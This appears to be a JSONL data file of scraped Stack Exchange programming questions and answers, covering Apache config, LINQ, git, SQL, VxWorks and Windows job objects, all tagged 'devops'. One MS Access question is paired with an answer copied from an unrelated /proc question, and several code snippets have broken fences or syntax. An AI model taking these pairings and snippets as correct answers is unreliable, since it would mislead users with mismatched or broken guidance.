{"id": "hf_ff7ee1499e19", "question": "<p>I am getting an 403 access forbidden when attempting to open a page under a vhost where the document root is sitting on a different drive than where apache is sitting. I installed using the apachefriends release. This is my httpd-vhosts.conf file: </p>\n\n<p><pre><code>\nNameVirtualHost 127.0.0.1</p>\n\n<p>&lt;VirtualHost 127.0.0.1>\n  ServerName foo.localhost\n  DocumentRoot \"C:/xampp/htdocs/foo/public\"\n&lt;/VirtualHost></p>\n\n<p>&lt;VirtualHost 127.0.0.1>\n  ServerName bar.localhost\n  DocumentRoot \"F:/bar/public\"\n&lt;/VirtualHost>\n</pre></code></p>\n\n<p>When opening bar.localhost in my browser, Apache is giving me 403 Access Forbidden. I tried setting lots of different access rights, even full rights to everyone, but nothing I tried helped.</p>\n\n<p>Edit: Thanks! For future reference, add 'Options indexes' within to show directory indexes.</p>\n", "question_body": "", "answer": "Somewhere, you need to tell Apache that people are allowed to see contents of this directory.\n```\n```\n<Directory \"F:/bar/public\">\n    Order Allow,Deny\n    Allow from All\n    # Any other directory-specific stuff\n</Directory>\n```\n```\nMore info", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.937567"}
{"id": "hf_53b49d7bbfe1", "question": "<p>How do you implement autocomplete on ASP.Net Gridview? Can anyone point me where to go to achieve this? I'm willing to use non-.Net ajax controls if that what it takes.</p>\n", "question_body": "", "answer": "The AJAX Control Toolkit provides an\nautocomplete\nbut requires a web service to work.  You could always write your own asmx if there isn't one you can use.\nOtherwise, there are all sorts of JS and jQuery examples:\nhttp://www.javascript-examples.com/autocomplete-demo/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.973837"}
{"id": "hf_0606da2aa904", "question": "<p>Speaking as a non-C# savvy programmer, I'm curious as to the evaluation semantics of LINQ queries like the following:</p>\n\n<pre><code>var people = from p in Person\n             where p.age &lt; 18\n             select p\n\nvar otherPeople = from p in people\n                  where p.firstName equals \"Daniel\"\n                  select p\n</code></pre>\n\n<p>Assuming that <code>Person</code> is an ADO entity which defines the <code>age</code> and <code>firstName</code> fields, what would this do from a database standpoint?  Specifically, would the <code>people</code> query be run to produce an in-memory structure, which would then be queried by the <code>otherPeople</code> query?  Or would the construction of <code>otherPeople</code> merely pull the data regarding the query from <code>people</code> and then produce a new database-peered query?  So, if I iterated over both of these queries, how many SQL statements would be executed?</p>\n", "question_body": "", "answer": "```\npeople\n```\nand\n```\notherPeople\n```\ncontain objects of type\n```\nIQueryable<Person>\n```\n.\nIf you iterate over both, separatly, it will run two queries.\nIf you only iterate over\n```\notherPeople\n```\n, it will run the expected query, with two where clauses.\nIf you do\n```\n.ToList()\n```\non\n```\npeople\n```\nand use the returned\n```\nList<Person>\n```\nin the second query instead of people, it becomes LINQ-to-Objects and no SQL is executed.\nThis behavior is referred to as deferred execution. Meaning no query is done until it is needed. Before execution they are just expression trees that get manipulated to formulate the final query.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.033041"}
{"id": "hf_27a1d5907cc1", "question": "<p>What is the difference in C# between <code>Convert.ToDecimal(string)</code> and <code>Decimal.Parse(string)</code>?</p>\n\n<p>In what scenarios would you use one over the other?</p>\n\n<p>What impact does it have on performance?</p>\n\n<p>What other factors should I be taking into consideration when choosing between the two?</p>\n", "question_body": "", "answer": "From\nbytes.com\n:\nThe Convert class is designed to\n  convert a wide range of Types, so you\n  can convert more types to Decimal than\n  you can with Decimal.Parse, which can\n  only deal with String. On the other\n  hand Decimal.Parse allows you to\n  specify a NumberStyle.\nDecimal and decimal are aliases and\n  are equal.\nFor Convert.ToDecimal(string),\n  Decimal.Parse is called internally.\nMorten Wennevik [C# MVP]\nSince Decimal.Parse is called internally by Convert.ToDecimal, if you have\nextreme\nperformance requirements you might want to stick to Decimal.Parse, it will save a stack frame.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.057538"}
{"id": "hf_3aa77ef9465e", "question": "<p>How do I call an external command within Python as if I'd typed it in a shell or command prompt?</p>\n", "question_body": "", "answer": "```\n```\nimport os\nos.system(\"your command\")\n```\n```\nNote that this is dangerous, since the command isn't cleaned. I leave it up to you to google for the relevant documentation on the 'os' and 'sys' modules. There are a bunch of functions (exec* and spawn*) that will do similar things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.094016"}
{"id": "hf_b0639605657d", "question": "<p>Using Windows Server 2003 in a multi-user environment (via Remote Desktop, using it as an application server), how to mount a (preferably encrypted) volume in a way, that won't show up on any other user's desktop?</p>\n\n<p>Tried, and failed approaches:</p>\n\n<ul>\n<li><p>tweaking user rights -display of mounted volume can not be changed.</p></li>\n<li><p>Bestcrypt / truecrypt. Both of them displays the volume for a local administrator</p></li>\n</ul>\n", "question_body": "", "answer": "There's a key in the Registry that's used to hide mapped drives.\nIf you want to stop any combination of drives appearing in My Computer\nAdd the Binary Value of 'NoDrives' in the registry at\n\"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\"\nHere is the table of all the values (Note that you can add up values to hide multiple drives, also the value is binary type but must be entered in hexadecimal, so if you add up a few drives, get ready for a little hex math. )  :\n```\n```\nA 1 00 00 00\nB 2 00 00 00\nC 4 00 00 00\nD 8 00 00 00\nE 16 00 00 00\nF 32 00 00 00\nG 64 00 00 00\nH 128 00 00 00\nI 00 1 00 00\nJ 00 2 00 00\nK 00 4 00 00\nL 00 8 00 00\nM 00 16 00 00\nN 00 32 00 00\nO 00 64 00 00\nP 00 128 00 00\nQ 00 00 1 00\nR 00 00 2 00\nS 00 00 4 00\nT 00 00 8 00\nU 00 00 16 00\nV 00 00 32 00\nW 00 00 64 00\nX 00 00 128 00\nY 00 00 00 1\nZ 00 00 00 2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.117236"}
{"id": "hf_428d02e21bff", "question": "<p>I’m trying to run this SQL using get external.</p>\n\n<p>It works, but when I try to rename the sub-queries or anything for that matter it remove it.</p>\n\n<p>I tried <code>as</code>, <code>as</code> and the name in <code>''</code>, <code>as</code> then the name in <code>\"\"</code>,\n and the same with space. What is the right way to do that?  </p>\n\n<p>Relevant SQL:</p>\n\n<pre><code>SELECT list_name, app_name, \n    (SELECT fname  + ' ' + lname  \n     FROM dbo.d_agent_define map \n     WHERE map.agent_id = tac.agent_id) as agent_login, \n   input, CONVERT(varchar,DATEADD(ss,TAC_BEG_tstamp,'01/01/1970'))\nFROM dbo.maps_report_list list \nJOIN dbo.report_tac_agent tac ON (tac.list_id = list.list_id)\nWHERE input = 'SYS_ERR' \n   AND app_name = 'CHARLOTT'\n   AND convert(VARCHAR,DATEADD(ss,day_tstamp,'01/01/1970'),101) = '09/10/2008'\n   AND list_name LIKE 'NRBAD%'\nORDER BY agent_login,CONVERT(VARCHAR,DATEADD(ss,TAC_BEG_tstamp,'01/01/1970'))\n</code></pre>\n", "question_body": "", "answer": "You could get rid of your\n```\ndbo.d_agent_define\n```\nsubquery and just add in a join to the agent define table.\nWould this code work?\n```\n```\nselect list_name, app_name, \nmap.fname + ' ' + map.lname as agent_login, \ninput, \nconvert(varchar,dateadd(ss,TAC_BEG_tstamp,'01/01/1970')) as tac_seconds\nfrom dbo.maps_report_list list \njoin dbo.report_tac_agent tac \non (tac.list_id = list.list_id) \njoin dbo.d_agent_define map\non (map.agent_id = tac.agent_id)\nwhere input = 'SYS_ERR' \nand app_name = 'CHARLOTT' \nand convert(varchar,dateadd(ss,day_tstamp,'01/01/1970'),101) = '09/10/2008' \nand list_name LIKE 'NRBAD%' \norder by agent_login,convert(varchar,dateadd(ss,TAC_BEG_tstamp,'01/01/1970'))\n```\n```\nNote that I named your dateadd column because it did not have a name.  I also tried to keep your convention of how you do a join.  There are a few things that I would do different with this query to make it more readable, but I only focused on getting rid of the subquery problem.\nI did not do this, but I would recommend that you qualify all of your columns with the table from which you are getting them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.153646"}
{"id": "hf_65ea3967e932", "question": "<p>I'm designing a language. First, I want to decide what code to generate. The language will have lexical closures and prototype based inheritance similar to javascript. But I'm not a fan of gc and try to avoid as much as possible. So the question: Is there an elegant way to implement closures without resorting to allocate the stack frame on the heap and leave it to garbage collector?</p>\n\n<p>My first thoughts:</p>\n\n<ol>\n<li>Use reference counting and garbage collect the cycles (I don't really like this)</li>\n<li>Use spaghetti stack (looks very inefficient)</li>\n<li>Limit forming of closures to some contexts such a way that, I can get away with a return address stack and a locals' stack.</li>\n</ol>\n\n<p>I won't use a high level language or follow any call conventions, so I can smash the stack as much as I like.</p>\n\n<p>(Edit: I know reference counting is a form of garbage collection but I am using gc in its more common meaning)</p>\n", "question_body": "", "answer": "This would be a better question if you can explain what you're trying to avoid by not using GC. As I'm sure you're aware, most languages that provide lexical closures allocate them on the heap and allow them to retain references to variable bindings in the activation record that created them.\nThe only alternative to that approach that I'm aware of is what\n```\ngcc\n```\nuses for nested functions: create a trampoline for the function and allocate it on the stack. But as the gcc manual says:\nIf you try to call the nested function through its address after the containing function has exited, all hell will break loose. If you try to call it after a containing scope level has exited, and if it refers to some of the variables that are no longer in scope, you may be lucky, but it's not wise to take the risk. If, however, the nested function does not refer to anything that has gone out of scope, you should be safe.\nShort version is, you have three main choices:\nallocate closures on the stack, and don't allow their use after their containing function exits.\nallocate closures on the heap, and use garbage collection of some kind.\ndo original research, maybe starting from the region stuff that ML, Cyclone, etc. have.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.193768"}
{"id": "hf_f897f1488752", "question": "<p>I frequently use <code>git stash</code> and <code>git stash pop</code> to save and restore changes in my working tree. Yesterday, I had some changes in my working tree that I had stashed and popped, and then I made more changes to my working tree. I'd like to go back and review yesterday's stashed changes, but <code>git stash pop</code> appears to remove all references to the associated commit.</p>\n<p>I know that if I use <code>git stash</code> then <em>.git/refs/stash contains</em> the reference of the commit used to create the stash. And <em>.git/logs/refs/stash contains</em> the whole stash. But those references are gone after <code>git stash pop</code>. I know that the commit is still in my repository somewhere, but I don't know what it was.</p>\n<p>Is there an easy way to recover yesterday's stash commit reference?</p>\n", "question_body": "", "answer": "```\ngit fsck --unreachable | grep commit\n```\nshould show the sha1, although the list it returns might be quite large.\n```\ngit show <sha1>\n```\nwill show if it is the commit you want.\n```\ngit cherry-pick -m 1 <sha1>\n```\nwill merge the commit onto the current branch.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.255083"}
{"id": "hf_eff949d27f29", "question": "<p>quick question: my customer has a situation where he has his database with a varchar field and the corresponding jdbc code is storing/retrieving a boolean.</p>\n\n<p>I guess that the boolean values false and true are going to be translated to \"0\" and \"1\" but I would like to have a confirmation of this (I can't find the precise behavior specification online, maybe it depends on each driver, Oracle in this case).</p>\n\n<p>I know I could experiment by myself, but I want to have a try at stackoverflow.com!</p>\n\n<p>Thanks for your answer,</p>\n\n<p>Eric.</p>\n", "question_body": "", "answer": "Unfortunately,\n```\nBOOLEAN\n```\nsemantics are highly database-specific.  I'm\nguessing\nthat the Oracle driver is going to translate boolean values to a\n```\nVARCHAR\n```\nfield into \"\n```\ntrue\n```\n\" and \"\n```\nfalse\n```\n\", rather than\n```\n0\n```\nand\n```\n1\n```\n, but you should verify this yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.279165"}
{"id": "hf_2145f8497440", "question": "<p>Assume I have an \"images\" folder directory under the root of my application.  How can I, from within a .css file, reference an image in this directory using an ASP.NET app relative path.  </p>\n\n<p>Example:</p>\n\n<p>When in development, the path of <strong>~/Images/Test.gif</strong> might resolve to <strong>/MyApp/Images/Test.gif</strong> while, in production, it might resolve to <strong>/Images/Test.gif</strong> (depending on the virtual directory for the application).  I, obviously, want to avoid having to modify the .css file between environments.</p>\n\n<p>I know you can use Page.ResolveClientUrl to inject a url into a control's Style collection dynamically at render time.  I would like to avoid doing this.</p>\n", "question_body": "", "answer": "In case you didn't know you could do this...\nIf you give a relative path to a resource in a CSS it's relative to the CSS file, not file including the CSS.\n```\n```\nbackground-image: url(../images/test.gif);\n```\n```\nSo this might work for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.348539"}
{"id": "hf_0926eb4122e4", "question": "<p>I have Visual Studio web test attached nicely to a data source, but I need to be able to iterate over each entry in the data source. How should I do this?</p>\n", "question_body": "", "answer": "This\narticle\nseems to Discuss something quite like what you're talking about.\nGood luck.\nOla\nEDIT:\nFrom the linked article, your DataSource is exposed to your test via an attribute.\n```\n```\n[DataSource(\"System.Data.SqlClient\",\n    \"Data Source=VSTS;Initial Catalog=ContactManagerWebTest;\n    Integrated Security=True\", \"ValidContactInfo\",\n    DataAccessMethod.Sequential), TestMethod()]\n```\n```\nThere are several other DataSources you can link to, for example CSV, or even Parameters of a Test Case in TFS. Be sure to include the\n```\nDataAccessMethod.Sequential\n```\n. If there are multiple rows in the table indicated by the\n```\nDataSourceAttribute\n```\n, then each test run will have\n```\nTestContext.DataRow\n```\npointing to the current row/iteration for the test.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.372561"}
{"id": "hf_40bab5d3fa30", "question": "<p>For reasons I won't go into, I wish to ban an entire company from accessing my web site. Checking the remote hostname in php using gethostbyaddr() works, but this slows down the page load too much. Large organizations (eg. hp.com or microsoft.com) often have blocks of IP addresses. Is there anyway I get the full list, or am I stuck with the slow reverse-DNS lookup? If so, can I speed it up?</p>\n\n<p>Edit: Okay, now I know I can use the .htaccess file to ban a range. Now, how can I figure out what that range should be for a given organization?</p>\n", "question_body": "", "answer": "Take a look at .htaccess if you're using apache:\n.htaccess tutorial", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.410429"}
{"id": "hf_49cc6bab8a83", "question": "<p>I am trying to connect to a Microsoft SQL 2005 server which is not on port 1433.  How do I indicate a different port number when connecting to the server using SQL Management Studio?</p>\n", "question_body": "", "answer": "```\n127.0.0.1,6283\n```\nAdd a comma between the ip and port", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.515235"}
{"id": "hf_3fcff2d85317", "question": "<p>You do <code>AssignProcessToJobObject</code> and it fails with \"access denied\" but only when you are running in the debugger. Why is this?</p>\n", "question_body": "", "answer": "This one puzzled me for for about 30 minutes.\nFirst off, you probably need a UAC manifest embedded in your app (\nas suggested here\n). Something like this:\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n  <assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n    <!-- Identify the application security requirements. -->\n    <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n      <security>\n        <requestedPrivileges>\n          <requestedExecutionLevel\n            level=\"asInvoker\"\n            uiAccess=\"false\"/>\n        </requestedPrivileges>\n      </security>\n    </trustInfo>\n  </assembly>\n```\n```\nSecondly (and this is the bit I got stuck on), when you are running your app under the debugger, it creates your process in a job object. Which your child process needs to be able to breakaway from before you can assign it to your job. So (duh), you need to specify\n```\nCREATE_BREAKAWAY_FROM_JOB\n```\nin the flags for\n```\nCreateProcess\n```\n).\nIf you weren't running under the debugger, or your parent process were in the job, this wouldn't have happened.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.550675"}
{"id": "hf_a47fb1fe3f68", "question": "<p>I have a table that got into the \"db_owner\" schema, and I need it in the \"dbo\" schema.</p>\n\n<p>Is there a script or command to run to switch it over?</p>\n", "question_body": "", "answer": "```\n```\nALTER SCHEMA [NewSchema] TRANSFER [OldSchema].[Table1]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.585921"}
{"id": "hf_3e7d9c07f31f", "question": "<p>I have added some code which compiles cleanly and have just received this Windows error:</p>\n\n<pre><code>---------------------------\n(MonTel Administrator) 2.12.7: MtAdmin.exe - Application Error\n---------------------------\nThe exception Privileged instruction.\n\n (0xc0000096) occurred in the application at location 0x00486752.\n</code></pre>\n\n<p>I am about to go on a bug hunt, and I am expecting it to be something silly that I have done which just happens to produce this message. The code compiles cleanly with no errors or warnings. The size of the EXE file has grown to 1,454,132 bytes and includes links to <code>ODCS.lib</code>, but it is otherwise pure C to the Win32 API, with DEBUG on (running on a P4 on Windows&nbsp;2000).</p>\n", "question_body": "", "answer": "I saw this with Visual c++ 6.0 in the year 2000.\nThe debug C++ library had calls to physical I/O instructions in it, in an exception handler.\nIf I remember correctly, it was dumping status to an I/O port that used to be for DMA base registers, which I assume someone at Microsoft was using for a debugger card.\nLook for some error condition that might be latent causing diagnostics code to run.\nI was debugging, backtracked and read the dissassembly. It was an exception while processing\n```\nstd::string\n```\n, maybe indexing off the end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.614304"}
{"id": "hf_fbbff74f420f", "question": "<p>I'm looking for the best way to take a simple input:</p>\n\n<pre><code>echo -n \"Enter a string here: \"\nread -e STRING\n</code></pre>\n\n<p>and clean it up by removing non-alphanumeric characters, lower(case), and replacing spaces with underscores.</p>\n\n<p>Does order matter? Is <code>tr</code> the best / only way to go about this?</p>\n", "question_body": "", "answer": "After a bit of looking around it seems\n```\ntr\n```\nis indeed the simplest way:\n```\n```\nexport CLEANSTRING=\"`echo -n \"${STRING}\" | tr -cd '[:alnum:] [:space:]' | tr '[:space:]' '-'  | tr '[:upper:]' '[:lower:]'`\"\n```\n```\nOccam's razor\n, I suppose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.637724"}
{"id": "hf_f535040b30eb", "question": "<p>Is that needed?</p>\n", "question_body": "", "answer": "Pojos could still contain logic errors.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.661232"}
{"id": "hf_512fac5dadb2", "question": "<p>I would like to pass an argument(s) to a method being defined using define_method, how would I do that?</p>\n", "question_body": "", "answer": "The block that you pass to define_method can include some parameters.  That's how your defined method accepts arguments.  When you define a method you're really just nicknaming the block and keeping a reference to it in the class.  The parameters come with the block.  So:\n```\n```\ndefine_method(:say_hi) { |other| puts \"Hi, \" + other }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.689398"}
{"id": "hf_1bcfc6e71d4a", "question": "<p>When you create a new content type in Drupal using the Content Creation Kit, you automatically get Title and Body fields in the generated form. Is there a way to remove them?</p>\n", "question_body": "", "answer": "To remove the body edit the type, expand \"Submission form settings\" and put in blank for body field label.  For title you can rename it to another text field.  If you really have no need for any text fields you can create a custom module, say called foo, and create function foo_form_alter() which replaces $form['title'] with a\n#value\nwhen $form['type']['#value'] is your node type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.724736"}
{"id": "hf_262cccbeda70", "question": "<p>I am trying to find the virtual file that contains the current users id. I was told that I could find it in the proc directory, but not quite sure which file.</p>\n", "question_body": "", "answer": "I'm not sure that can be found in\n```\n/proc\n```\n. You could try using the\n```\ngetuid()\n```\nfunction or the\n```\n$USER\n```\nenvironment variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.796157"}
{"id": "hf_4df60acff84d", "question": "<p>How can I get <strong>hierarchy recordset</strong> in ms access through <strong>select</strong> statement?</p>\n", "question_body": "", "answer": "I'm not sure that can be found in\n```\n/proc\n```\n. You could try using the\n```\ngetuid()\n```\nfunction or the\n```\n$USER\n```\nenvironment variable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.819911"}
{"id": "hf_d08286a43d05", "question": "<p>When I start my process from Visual Studio, it is always created inside a job object. I would like to know how to turn this behaviour off. Any ideas?</p>\n\n<p>I expect that it is created in a job object to be debugged. I want to place my program in a different job object.</p>\n\n<p>It's not the hosting process. I'm talking about a <a href=\"http://msdn.microsoft.com/en-us/library/ms684161(VS.85).aspx\" rel=\"noreferrer\">Job Object</a>. This is an unmanaged C++ application.</p>\n", "question_body": "", "answer": "I'm not aware of any ways to control this aspect of processes spawned for debugging by VS.NET. But there's a workaround, which is applicable to any situation in which VS.NET can't or doesn't start your process in the exact way you want:\nStart your process (possibly using a wrapper EXE that runs as part of the post-build event), then attach to the newly started process using Tools/Attach to Process. If you break into the debugger as part of your startup code, this won't even be required (and you can also debug startup issues...).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.895763"}
{"id": "hf_a1c81b4d9445", "question": "<p>I am using mssql and am having trouble using a subquery. The real query is quite complicated, but it has the same structure as this:</p>\n\n<pre><code>select \n  customerName, \n  customerId,\n  (\n    select count(*) \n    from Purchases \n    where Purchases.customerId=customerData.customerId\n  ) as numberTransactions\nfrom customerData\n</code></pre>\n\n<p>And what I want to do is order the table by the number of transactions, but when I use</p>\n\n<pre><code>order by numberTransactions\n</code></pre>\n\n<p>It tells me there is no such field. Is it possible to do this? Should I be using some sort of special keyword, such as <code>this</code>, or <code>self</code>?</p>\n", "question_body": "", "answer": "use the field number, in this case:\n```\n```\norder by 3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.948661"}
{"id": "hf_57700e20aae7", "question": "<p>What are the best Java example sites? I'm looking for places that you go when you have a specific question and you want a little Java code snippet to solve it with.</p>\n", "question_body": "", "answer": "I like\nDZone Snippets\nfrom\nIt is a public source code repository.\nYou can build up your personal collection of code snippets, and categorize them with tags / keywords.\n(just add\nanother suggestion\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.971474"}
{"id": "hf_990be5beb3f9", "question": "<p>We are creating a Real-Time Process in VxWorks 6.x, and we would like to limit the amount of memory which can be allocated to the heap.  How do we do this?</p>\n", "question_body": "", "answer": "When creating a RTP via rtpSpawn(), you can specify an environment variable which controls how the heap behaves.\nThere are 3 environment variables:\n```\nHEAP_INITIAL_SIZE - How much heap to allocate initially (defaults to 64K)  \nHEAP_MAX_SIZE     - Maximum heap to allocate (defaults to no limit)\nHEAP_INCR_SIZE    - memory increment when adding to RTP heap (defaults to 1 virtual page)\n\nThe following code shows how to use the environment variables:\n```\nchar * envp[] = {\"HEAP_INITIAL_SIZE=0x20000\", \"HEAP_MAX_SIZE=0x100000\", NULL);\n   rtpSpawn (\"myrtp.vxe\", NULL, envp, 100, 0x10000, 0, 0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:01.995540"}
{"id": "hf_cb897498c9e7", "question": "<p>Specifically in .NET, but I'm leaving it open.</p>\n", "question_body": "", "answer": "MSDN:\nEnumerating Installed Fonts", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.035276"}
{"id": "hf_9c2b5e50364e", "question": "<p>Maybe the need to do this is a 'design smell' but thinking about another question, I was wondering what the cleanest way to implement the <strong>inverse</strong> of this:</p>\n\n<pre><code>foreach(ISomethingable somethingableClass in collectionOfRelatedObjects)\n{\n  somethingableClass.DoSomething();\n}\n</code></pre>\n\n<p>i.e. How to get/iterate through all the objects that <em>don't</em> implement a particular interface?</p>\n\n<p>Presumably you'd need to start by upcasting to the highest level:</p>\n\n<pre><code>foreach(ParentType parentType in collectionOfRelatedObjects)\n{\n  // TODO: iterate through everything which *doesn't* implement ISomethingable \n} \n</code></pre>\n\n<p>Answer by solving the TODO: in the cleanest/simplest and/or most efficient way</p>\n", "question_body": "", "answer": "Something like this?\n```\n```\nforeach (ParentType parentType in collectionOfRelatedObjects) {\n    if (!(parentType is ISomethingable)) {\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.071502"}
{"id": "hf_7f68f3400058", "question": "<p>I know how to do this if I iterate through all of the characters in the string but I am looking for a more elegant method.</p>\n", "question_body": "", "answer": "use a regex and see if it matches!\n```\n```\n([a-z][A-Z][0-9]\\_\\-)*\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:02.106440"}
